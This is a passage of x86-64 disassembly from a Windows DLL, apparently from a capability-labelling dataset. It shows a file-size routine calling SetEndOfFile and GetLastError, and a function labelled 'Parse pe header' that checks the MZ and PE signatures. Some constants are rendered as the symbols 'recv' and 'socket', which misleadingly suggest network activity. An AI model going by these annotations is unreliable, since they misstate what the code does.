je 0x18001cd81
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180011938
jmp 0x18001cdf4
jns 0x18001cdf4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180010344
cmp rax, 0xffffffffffffffff
jne 0x18001cdac
cmp byte [rsi + 0x30], dil
je 0x18001cdf4
mov edi, dword [rsi + 0x2c]
jmp 0x18001cdf4
mov ecx, r14d
call fcn.180016a9c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18001cdf4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recv
jmp 0x18001cdf4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18001cded
mov eax, dword [rsi + 0x2c]
jmp 0x18001cdf2
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180010344
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x18001db70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18001db98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18001db98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret